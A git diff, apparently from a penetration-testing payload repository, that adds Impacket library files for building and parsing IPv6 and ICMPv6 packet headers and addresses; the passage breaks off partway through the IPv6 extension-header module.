NODE_INFORMATION_QTYPE_NOOP = 0 + NODE_INFORMATION_QTYPE_UNUSED = 1 + NODE_INFORMATION_QTYPE_NODENAME = 2 + NODE_INFORMATION_QTYPE_NODEADDRS = 3 + NODE_INFORMATION_QTYPE_IPv4ADDRS = 4 + + #ICMP Message semantic types (error or informational) + ERROR_MESSAGE = 0 + INFORMATIONAL_MESSAGE = 1 + + #ICMP message dictionary - specifying text descriptions and valid message codes + #Key: ICMP message number + #Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) ) + #Codes dictionary + #Key: Code number + #Data: Text description + + #ICMP message dictionary tuple indexes + MSG_TYPE_INDEX = 0 + DESCRIPTION_INDEX = 1 + CODES_INDEX = 2 + + icmp_messages = { + DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable", + { NO_ROUTE_TO_DESTINATION : "No route to destination", + ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited", + BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address", + ADDRESS_UNREACHABLE : "Address unreachable", + PORT_UNREACHABLE : "Port unreachable", + SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy", + REJECT_ROUTE_TO_DESTINATION : "Reject route to destination" + }), + PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None), + TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded", + {HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit", + FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded" + }), + PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem", + { + ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered", + UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered", + UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered" + }), + ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None), + ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None), + ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None), + ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None), + NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None), + NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None), + REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None), + NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None), + NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None), + } + + + + +############################################################################ + def __init__(self, buffer = None): + Header.__init__(self, self.HEADER_SIZE) + if (buffer): + self.load_header(buffer) + + def get_header_size(self): + return self.HEADER_SIZE + + def get_ip_protocol_number(self): + return self.IP_PROTOCOL_NUMBER + + def __str__(self): + type = self.get_type() + code = self.get_code() + checksum = self.get_checksum() + + s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n" + s += "Code: " + str(code) + if (self.__get_code_description() != ""): + s += " - " + self.__get_code_description() + s += "\n" + s += "Checksum: " + str(checksum) + "\n" + return s + + def __get_message_description(self): + return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX] + + def __get_code_description(self): + code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] + if (code_dictionary is None): + return "" + else: + return code_dictionary[self.get_code()] + +############################################################################ + def get_type(self): + return (self.get_byte(0)) + + def get_code(self): + return (self.get_byte(1)) + + def get_checksum(self): + return (self.get_word(2)) + +############################################################################ + def set_type(self, type): + self.set_byte(0, type) + + def set_code(self, code): + self.set_byte(1, code) + + def set_checksum(self, checksum): + self.set_word(2, checksum) + +############################################################################ + def calculate_checksum(self): + #Initialize the checksum value to 0 to yield a correct calculation + self.set_checksum(0) + #Fetch the pseudo header from the IP6 parent packet + pseudo_header = self.parent().get_pseudo_header() + #Fetch the ICMP data + icmp_header = self.get_bytes() + #Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present) + checksum_array = array.array('B') + checksum_array.extend(pseudo_header) + checksum_array.extend(icmp_header) + if (self.child()): + checksum_array.extend(self.child().get_bytes()) + + #Compute the checksum over that array + self.set_checksum(self.compute_checksum(checksum_array)) + + def is_informational_message(self): + return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE + + def is_error_message(self): + return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE + + def is_well_formed(self): + well_formed = True + + #Check that the message type is known + well_formed &= self.get_type() in self.icmp_messages.keys() + + #Check that the code is known (zero, if there are no codes defined) + code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] + if (code_dictionary is None): + well_formed &= self.get_code() == 0 + else: + well_formed &= self.get_code() in code_dictionary.keys() + + return well_formed + +############################################################################ + + @classmethod + def Echo_Request(class_object, id, sequence_number, arbitrary_data = None): + return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data) + + @classmethod + def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None): + return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data) + + @classmethod + def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(0) + + #Pack ICMP payload + icmp_bytes = struct.pack('>H', id) + icmp_bytes += struct.pack('>H', sequence_number) + if (arbitrary_data is not None): + icmp_bytes += array.array('B', arbitrary_data).tostring() + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + + +############################################################################ + @classmethod + def Destination_Unreachable(class_object, code, originating_packet_data = None): + unused_bytes = [0x00, 0x00, 0x00, 0x00] + return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data) + + @classmethod + def Packet_Too_Big(class_object, MTU, originating_packet_data = None): + MTU_bytes = struct.pack('!L', MTU) + return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data) + + @classmethod + def Time_Exceeded(class_object, code, originating_packet_data = None): + unused_bytes = [0x00, 0x00, 0x00, 0x00] + return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data) + + @classmethod + def Parameter_Problem(class_object, code, pointer, originating_packet_data = None): + pointer_bytes = struct.pack('!L', pointer) + return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data) + + @classmethod + def __build_error_message(class_object, type, code, data, originating_packet_data): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(code) + + #Pack ICMP payload + icmp_bytes = array.array('B', data).tostring() + if (originating_packet_data is not None): + icmp_bytes += array.array('B', originating_packet_data).tostring() + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + +############################################################################ + + @classmethod + def Neighbor_Solicitation(class_object, target_address): + return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address) + + @classmethod + def Neighbor_Advertisement(class_object, target_address): + return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address) + + @classmethod + def __build_neighbor_message(class_object, msg_type, target_address): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(msg_type) + icmp_packet.set_code(0) + + # Flags + Reserved + icmp_bytes = array.array('B', [0x00] * 4).tostring() + + # Target Address: The IP address of the target of the solicitation. + # It MUST NOT be a multicast address. + icmp_bytes += array.array('B', IP6_Address(target_address).as_bytes()).tostring() + + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + +############################################################################ + + def get_target_address(self): + return IP6_Address(self.child().get_bytes()[4:20]) + + def set_target_address(self, target_address): + address = IP6_Address(target_address) + payload_bytes = self.child().get_bytes() + payload_bytes[4:20] = address.get_bytes() + self.child().set_bytes(payload_bytes) + + # 0 1 2 3 4 5 6 7 + # +-+-+-+-+-+-+-+-+ + # |R|S|O|reserved | + # +-+-+-+-+-+-+-+-+ + + def get_neighbor_advertisement_flags(self): + return self.child().get_byte(0) + + def set_neighbor_advertisement_flags(self, flags): + self.child().set_byte(0, flags) + + def get_router_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x80) != 0 + + def set_router_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x80 + else: + curr_flags &= ~0x80 + self.set_neighbor_advertisement_flags(curr_flags) + + def get_solicited_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x40) != 0 + + def set_solicited_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x40 + else: + curr_flags &= ~0x40 + self.set_neighbor_advertisement_flags(curr_flags) + + def get_override_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x20) != 0 + + def set_override_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x20 + else: + curr_flags &= ~0x20 + self.set_neighbor_advertisement_flags(curr_flags) + +############################################################################ + @classmethod + def Node_Information_Query(class_object, code, payload = None): + return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload) + + @classmethod + def Node_Information_Reply(class_object, code, payload = None): + return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload) + + @classmethod + def __build_node_information_message(class_object, type, code, payload = None): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(code) + + #Pack ICMP payload + qtype = 0 + flags = 0 + nonce = [0x00] * 8 + + icmp_bytes = struct.pack('>H', qtype) + icmp_bytes += struct.pack('>H', flags) + icmp_bytes += array.array('B', nonce).tostring() + + if payload is not None: + icmp_bytes += array.array('B', payload).tostring() + + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + + def get_qtype(self): + return self.child().get_word(0) + + def set_qtype(self, qtype): + self.child().set_word(0, qtype) + + def get_nonce(self): + return self.child().get_bytes()[4:12] + + def set_nonce(self, nonce): + payload_bytes = self.child().get_bytes() + payload_bytes[4:12] = array.array('B', nonce) + self.child().set_bytes(payload_bytes) + + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | unused |G|S|L|C|A|T| + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + + def get_flags(self): + return self.child().get_word(2) + + def set_flags(self, flags): + self.child().set_word(2, flags) + + def get_flag_T(self): + return (self.get_flags() & 0x0001) != 0 + + def set_flag_T(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0001 + else: + curr_flags &= ~0x0001 + self.set_flags(curr_flags) + + def get_flag_A(self): + return (self.get_flags() & 0x0002) != 0 + + def set_flag_A(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0002 + else: + curr_flags &= ~0x0002 + self.set_flags(curr_flags) + + def get_flag_C(self): + return (self.get_flags() & 0x0004) != 0 + + def set_flag_C(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0004 + else: + curr_flags &= ~0x0004 + self.set_flags(curr_flags) + + def get_flag_L(self): + return (self.get_flags() & 0x0008) != 0 + + def set_flag_L(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0008 + else: + curr_flags &= ~0x0008 + self.set_flags(curr_flags) + + def get_flag_S(self): + return (self.get_flags() & 0x0010) != 0 + + def set_flag_S(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0010 + else: + curr_flags &= ~0x0010 + self.set_flags(curr_flags) + + def get_flag_G(self): + return (self.get_flags() & 0x0020) != 0 + + def set_flag_G(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0020 + else: + curr_flags &= ~0x0020 + self.set_flags(curr_flags) + + def set_node_information_data(self, data): + payload_bytes = self.child().get_bytes() + payload_bytes[12:] = array.array('B', data) + self.child().set_bytes(payload_bytes) + + def get_note_information_data(self): + return self.child().get_bytes()[12:] + +############################################################################ + def get_echo_id(self): + return self.child().get_word(0) + + def get_echo_sequence_number(self): + return self.child().get_word(2) + + def get_echo_arbitrary_data(self): + return self.child().get_bytes()[4:] + + def get_mtu(self): + return self.child().get_long(0) + + def get_parm_problem_pointer(self): + return self.child().get_long(0) + + def get_originating_packet_data(self): + return self.child().get_bytes()[4:] + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6.py new file mode 100644 index 0000000..357669c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6.py @@ -0,0 +1,189 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import struct +import array + +from ImpactPacket import Header +from IP6_Address import IP6_Address +from IP6_Extension_Headers import IP6_Extension_Header + +from impacket import LOG + + +class IP6(Header): + #Ethertype value for IPv6 + ethertype = 0x86DD + HEADER_SIZE = 40 + IP_PROTOCOL_VERSION = 6 + + def __init__(self, buffer = None): + Header.__init__(self, IP6.HEADER_SIZE) + self.set_ip_v(IP6.IP_PROTOCOL_VERSION) + if (buffer): + self.load_header(buffer) + + def contains(self, aHeader): + Header.contains(self, aHeader) + if isinstance(aHeader, IP6_Extension_Header): + self.set_next_header(aHeader.get_header_type()) + + def get_header_size(self): + return IP6.HEADER_SIZE + + def __str__(self): + protocol_version = self.get_ip_v() + traffic_class = self.get_traffic_class() + flow_label = self.get_flow_label() + payload_length = self.get_payload_length() + next_header = self.get_next_header() + hop_limit = self.get_hop_limit() + source_address = self.get_ip_src() + destination_address = self.get_ip_dst() + + s = "Protocol version: " + str(protocol_version) + "\n" + s += "Traffic class: " + str(traffic_class) + "\n" + s += "Flow label: " + str(flow_label) + "\n" + s += "Payload length: " + str(payload_length) + "\n" + s += "Next header: " + str(next_header) + "\n" + s += "Hop limit: " + str(hop_limit) + "\n" + s += "Source address: " + source_address.as_string() + "\n" + s += "Destination address: " + destination_address.as_string() + "\n" + return s + + def get_pseudo_header(self): + source_address = self.get_ip_src().as_bytes() + #FIXME - Handle Routing header special case + destination_address = self.get_ip_dst().as_bytes() + reserved_bytes = [ 0x00, 0x00, 0x00 ] + + upper_layer_packet_length = self.get_payload_length() + upper_layer_protocol_number = self.get_next_header() + + next_header = self.child() + while isinstance(next_header, IP6_Extension_Header): + # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus + # the length of any extension headers present between the IPv6 header and the upper-layer header + upper_layer_packet_length -= next_header.get_header_size() + + # If there are extension headers, fetch the correct upper-player protocol number by traversing the list + upper_layer_protocol_number = next_header.get_next_header() + + next_header = next_header.child() + + pseudo_header = array.array('B') + pseudo_header.extend(source_address) + pseudo_header.extend(destination_address) + pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length)) + pseudo_header.fromlist(reserved_bytes) + pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number)) + return pseudo_header + +############################################################################ + def get_ip_v(self): + return (self.get_byte(0) & 0xF0) >> 4 + + def get_traffic_class(self): + return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4) + + def get_flow_label(self): + return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3) + + def get_payload_length(self): + return (self.get_byte(4) << 8) | self.get_byte(5) + + def get_next_header(self): + return (self.get_byte(6)) + + def get_hop_limit(self): + return (self.get_byte(7)) + + def get_ip_src(self): + address = IP6_Address(self.get_bytes()[8:24]) + return (address) + + def get_ip_dst(self): + address = IP6_Address(self.get_bytes()[24:40]) + return (address) + +############################################################################ + def set_ip_v(self, version): + if (version != 6): + raise Exception('set_ip_v - version != 6') + + #Fetch byte, clear high nibble + b = self.get_byte(0) & 0x0F + #Store version number in high nibble + b |= (version << 4) + #Store byte in buffer + #This behaviour is repeated in the rest of the methods + self.set_byte(0, b) + + + def set_traffic_class(self, traffic_class): + b0 = self.get_byte(0) & 0xF0 + b1 = self.get_byte(1) & 0x0F + b0 |= (traffic_class & 0xF0) >> 4 + b1 |= (traffic_class & 0x0F) << 4 + self.set_byte(0, b0) + self.set_byte(1, b1) + + + def set_flow_label(self, flow_label): + b1 = self.get_byte(1) & 0xF0 + b1 |= (flow_label & 0xF0000) >> 16 + self.set_byte(1, b1) + self.set_byte(2, (flow_label & 0x0FF00) >> 8) + self.set_byte(3, (flow_label & 0x000FF)) + + + def set_payload_length(self, payload_length): + self.set_byte(4, (payload_length & 0xFF00) >> 8) + self.set_byte(5, (payload_length & 0x00FF)) + + + def set_next_header(self, next_header): + self.set_byte(6, next_header) + + def set_hop_limit(self, hop_limit): + self.set_byte(7, hop_limit) + + def set_ip_src(self, source_address): + address = IP6_Address(source_address) + bytes = self.get_bytes() + bytes[8:24] = address.as_bytes() + self.set_bytes(bytes) + + def set_ip_dst(self, destination_address): + address = IP6_Address(destination_address) + bytes = self.get_bytes() + bytes[24:40] = address.as_bytes() + self.set_bytes(bytes) + + def get_protocol_version(self): + LOG.warning('deprecated soon') + return self.get_ip_v() + + def get_source_address(self): + LOG.warning('deprecated soon') + return self.get_ip_src() + + def get_destination_address(self): + LOG.warning('deprecated soon') + return self.get_ip_dst() + + def set_protocol_version(self, version): + LOG.warning('deprecated soon') + self.set_ip_v(version) + + def set_source_address(self, source_address): + LOG.warning('deprecated soon') + self.set_ip_src(source_address) + + def set_destination_address(self, destination_address): + LOG.warning('deprecated soon') + self.set_ip_dst(destination_address) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Address.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Address.py new file mode 100644 index 0000000..b54960b --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Address.py @@ -0,0 +1,280 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array + +class IP6_Address(): + ADDRESS_BYTE_SIZE = 16 + #A Hex Group is a 16-bit unit of the address + TOTAL_HEX_GROUPS = 8 + HEX_GROUP_SIZE = 4 #Size in characters + TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1 + ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS + SEPARATOR = ":" + SCOPE_SEPARATOR = "%" + +############################################################################################################# +# Constructor and construction helpers + + def __init__(self, address): + #The internal representation of an IP6 address is a 16-byte array + self.__bytes = array.array('B', '\0' * self.ADDRESS_BYTE_SIZE) + self.__scope_id = "" + + #Invoke a constructor based on the type of the argument + if type(address) is str or type(address) is unicode: + self.__from_string(address) + else: + self.__from_bytes(address) + + + def __from_string(self, address): + #Separate the Scope ID, if present + if self.__is_a_scoped_address(address): + split_parts = address.split(self.SCOPE_SEPARATOR) + address = split_parts[0] + if (split_parts[1] == ""): + raise Exception("Empty scope ID") + self.__scope_id = split_parts[1] + + #Expand address if it's in compressed form + if self.__is_address_in_compressed_form(address): + address = self.__expand_compressed_address(address) + + #Insert leading zeroes where needed + address = self.__insert_leading_zeroes(address) + + #Sanity check + if len(address) != self.ADDRESS_TEXT_SIZE: + raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE)) + + #Split address into hex groups + hex_groups = address.split(self.SEPARATOR) + if len(hex_groups) != self.TOTAL_HEX_GROUPS: + raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS)) + + #For each hex group, convert it into integer words + offset = 0 + for group in hex_groups: + if len(group) != self.HEX_GROUP_SIZE: + raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE)) + + group_as_int = int(group, 16) + self.__bytes[offset] = (group_as_int & 0xFF00) >> 8 + self.__bytes[offset + 1] = (group_as_int & 0x00FF) + offset += 2 + + def __from_bytes(self, bytes): + if len(bytes) != self.ADDRESS_BYTE_SIZE: + raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE)) + self.__bytes = bytes + +############################################################################################################# +# Projectors + def as_string(self, compress_address = True, scoped_address = True): + s = "" + for i, v in enumerate(self.__bytes): + s += hex(v)[2:].rjust(2, '0') + if (i % 2 == 1): + s += self.SEPARATOR + s = s[:-1].upper() + + if (compress_address): + s = self.__trim_leading_zeroes(s) + s = self.__trim_longest_zero_chain(s) + + if (scoped_address and self.get_scope_id() != ""): + s += self.SCOPE_SEPARATOR + self.__scope_id + return s + + def as_bytes(self): + return self.__bytes + + def __str__(self): + return self.as_string() + + def get_scope_id(self): + return self.__scope_id + + def get_unscoped_address(self): + return self.as_string(True, False) #Compressed address = True, Scoped address = False + +############################################################################################################# +# Semantic helpers + def is_multicast(self): + return self.__bytes[0] == 0xFF + + def is_unicast(self): + return self.__bytes[0] == 0xFE + + def is_link_local_unicast(self): + return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80) + + def is_site_local_unicast(self): + return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0) + + def is_unique_local_unicast(self): + return (self.__bytes[0] == 0xFD) + + + def get_human_readable_address_type(self): + if (self.is_multicast()): + return "multicast" + elif (self.is_unicast()): + if (self.is_link_local_unicast()): + return "link-local unicast" + elif (self.is_site_local_unicast()): + return "site-local unicast" + else: + return "unicast" + elif (self.is_unique_local_unicast()): + return "unique-local unicast" + else: + return "unknown type" + +############################################################################################################# +#Expansion helpers + + #Predicate - returns whether an address is in compressed form + def __is_address_in_compressed_form(self, address): + #Sanity check - triple colon detection (not detected by searches of double colon) + if address.count(self.SEPARATOR * 3) > 0: + raise Exception('IP6_Address - found triple colon') + + #Count the double colon marker + compression_marker_count = self.__count_compression_marker(address) + if compression_marker_count == 0: + return False + elif compression_marker_count == 1: + return True + else: + raise Exception('IP6_Address - more than one compression marker (\"::\") found') + + #Returns how many hex groups are present, in a compressed address + def __count_compressed_groups(self, address): + trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":" + return trimmed_address.count(self.SEPARATOR) + 1 + + #Counts how many compression markers are present + def __count_compression_marker(self, address): + return address.count(self.SEPARATOR * 2) #Count occurrences of "::" + + #Inserts leading zeroes in every hex group + def __insert_leading_zeroes(self, address): + hex_groups = address.split(self.SEPARATOR) + + new_address = "" + for hex_group in hex_groups: + if len(hex_group) < 4: + hex_group = hex_group.rjust(4, "0") + new_address += hex_group + self.SEPARATOR + + return new_address[:-1] #Trim the last colon + + + #Expands a compressed address + def __expand_compressed_address(self, address): + group_count = self.__count_compressed_groups(address) + groups_to_insert = self.TOTAL_HEX_GROUPS - group_count + + pos = address.find(self.SEPARATOR * 2) + 1 + while (groups_to_insert): + address = address[:pos] + "0000" + self.SEPARATOR + address[pos:] + pos += 5 + groups_to_insert -= 1 + + #Replace the compression marker with a single colon + address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) + return address + + +############################################################################################################# +#Compression helpers + + def __trim_longest_zero_chain(self, address): + chain_size = 8 + + while (chain_size > 0): + groups = address.split(self.SEPARATOR) + start_index = -1 + end_index = -1 + + for index, group in enumerate(groups): + #Find the first zero + if (group == "0"): + start_index = index + end_index = index + #Find the end of this chain of zeroes + while (end_index < 7 and groups[end_index + 1] == "0"): + end_index += 1 + + #If the zero chain matches the current size, trim it + found_size = end_index - start_index + 1 + if (found_size == chain_size): + address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):]) + return address + + #No chain of this size found, try with a lower size + chain_size -= 1 + return address + + + #Trims all leading zeroes from every hex group + def __trim_leading_zeroes(self, str): + groups = str.split(self.SEPARATOR) + str = "" + + for group in groups: + group = group.lstrip("0") + self.SEPARATOR + if (group == self.SEPARATOR): + group = "0" + self.SEPARATOR + str += group + return str[:-1] + + +############################################################################################################# + @classmethod + def is_a_valid_text_representation(cls, text_representation): + try: + #Capitalize on the constructor's ability to detect invalid text representations of an IP6 address + ip6_address = IP6_Address(text_representation) + return True + except Exception, e: + return False + + def __is_a_scoped_address(self, text_representation): + return text_representation.count(self.SCOPE_SEPARATOR) == 1 + +############################################################################################################# +# Informal tests +if __name__ == '__main__': + print IP6_Address("A:B:C:D:E:F:1:2").as_string() +# print IP6_Address("A:B:C:D:E:F:0:2").as_bytes() + print IP6_Address("A:B:0:D:E:F:0:2").as_string() +# print IP6_Address("A::BC:E:D").as_string(False) + print IP6_Address("A::BC:E:D").as_string() + print IP6_Address("A::BCD:EFFF:D").as_string() + print IP6_Address("FE80:0000:0000:0000:020C:29FF:FE26:E251").as_string() + +# print IP6_Address("A::BCD:EFFF:D").as_bytes() + print IP6_Address("::").as_string() + print IP6_Address("1::").as_string() + print IP6_Address("::2").as_string() +# bin = [ +# 0x01, 0x02, 0x03, 0x04, +# 0x01, 0x02, 0x03, 0x04, +# 0x01, 0x02, 0x03, 0x04, +# 0x01, 0x02, 0x03, 0x04] +# a = IP6_Address(bin) +# print a.as_string() +# print a + +# Malformed addresses +# print IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345").as_string() +# print IP6_Address(":::").as_string() +# print IP6_Address("::::").as_string() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Extension_Headers.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Extension_Headers.py new file mode 100644 index 0000000..76a8c93 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/IP6_Extension_Headers.py @@ -0,0 +1,326 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import array + +from ImpactPacket import Header, ImpactPacketException, PacketBuffer + +class IP6_Extension_Header(Header): +# --------------------------------- - - - - - - - +# | Next Header | Header Ext Len | Options +# --------------------------------- - - - - - - - + + HEADER_TYPE_VALUE = -1 + EXTENSION_HEADER_FIELDS_SIZE = 2 + + EXTENSION_HEADER_DECODER = None + + def __init__(self, buffer = None): + Header.__init__(self, self.get_headers_field_size()) + self._option_list = [] + if buffer: + self.load_header(buffer) + else: + self.reset() + + def __str__(self): + header_type = self.get_header_type() + next_header_value = self.get_next_header() + header_ext_length = self.get_header_extension_length() + + s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" + s += "Header Type Value: " + str(header_type) + "\n" + s += "Next Header: " + str(next_header_value) + "\n" + s += "Header Extension Length: " + str(header_ext_length) + "\n" + s += "Options:\n" + + for option in self._option_list: + option_str = str(option) + option_str = option_str.split('\n') + option_str = map(lambda s: (' ' * 4) + s, option_str) + s += '\n'.join(option_str) + '\n' + + return s + + def load_header(self, buffer): + self.set_bytes_from_string(buffer[:self.get_headers_field_size()]) + + remaining_bytes = (self.get_header_extension_length() + 1) * 8 + remaining_bytes -= self.get_headers_field_size() + + buffer = array.array('B', buffer[self.get_headers_field_size():]) + if remaining_bytes > len(buffer): + raise ImpactPacketException, "Cannot load options from truncated packet" + + while remaining_bytes > 0: + option_type = buffer[0] + if option_type == Option_PAD1.OPTION_TYPE_VALUE: + # Pad1 + self._option_list.append(Option_PAD1()) + + remaining_bytes -= 1 + buffer = buffer[1:] + else: + # PadN + # From RFC 2460: For N octets of padding, the Opt Data Len + # field contains the value N-2, and the Option Data consists + # of N-2 zero-valued octets. + option_length = buffer[1] + option_length += 2 + + self._option_list.append(Option_PADN(option_length)) + + remaining_bytes -= option_length + buffer = buffer[option_length:] + + def reset(self): + pass + + @classmethod + def get_header_type_value(cls): + return cls.HEADER_TYPE_VALUE + + @classmethod + def get_extension_headers(cls): + header_types = {} + for subclass in cls.__subclasses__(): + subclass_header_types = subclass.get_extension_headers() + if not subclass_header_types: + # If the subclass did not return anything it means + # that it is a leaf subclass, so we take its header + # type value + header_types[subclass.get_header_type_value()] = subclass + else: + # Else we extend the list of the obtained types + header_types.update(subclass_header_types) + return header_types + + @classmethod + def get_decoder(cls): + raise RuntimeError("Class method %s.get_decoder must be overridden." % cls) + + def get_header_type(self): + return self.__class__.get_header_type_value() + + def get_headers_field_size(self): + return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE + + def get_header_size(self): + header_size = self.get_headers_field_size() + for option in self._option_list: + header_size += option.get_len() + return header_size + + def get_next_header(self): + return self.get_byte(0) + + def get_header_extension_length(self): + return self.get_byte(1) + + def set_next_header(self, next_header): + self.set_byte(0, next_header & 0xFF) + + def set_header_extension_length(self, header_extension_length): + self.set_byte(1, header_extension_length & 0xFF) + + def add_option(self, option): + self._option_list.append(option) + + def get_options(self): + return self._option_list + + def get_packet(self): + data = self.get_data_as_string() + + # Update the header length + self.set_header_extension_length(self.get_header_size() / 8 - 1) + + # Build the entire extension header packet + header_bytes = self.get_buffer_as_string() + for option in self._option_list: + header_bytes += option.get_buffer_as_string() + + if data: + return header_bytes + data + else: + return header_bytes + + def contains(self, aHeader): + Header.contains(self, aHeader) + if isinstance(aHeader, IP6_Extension_Header): + self.set_next_header(aHeader.get_header_type()) + + def 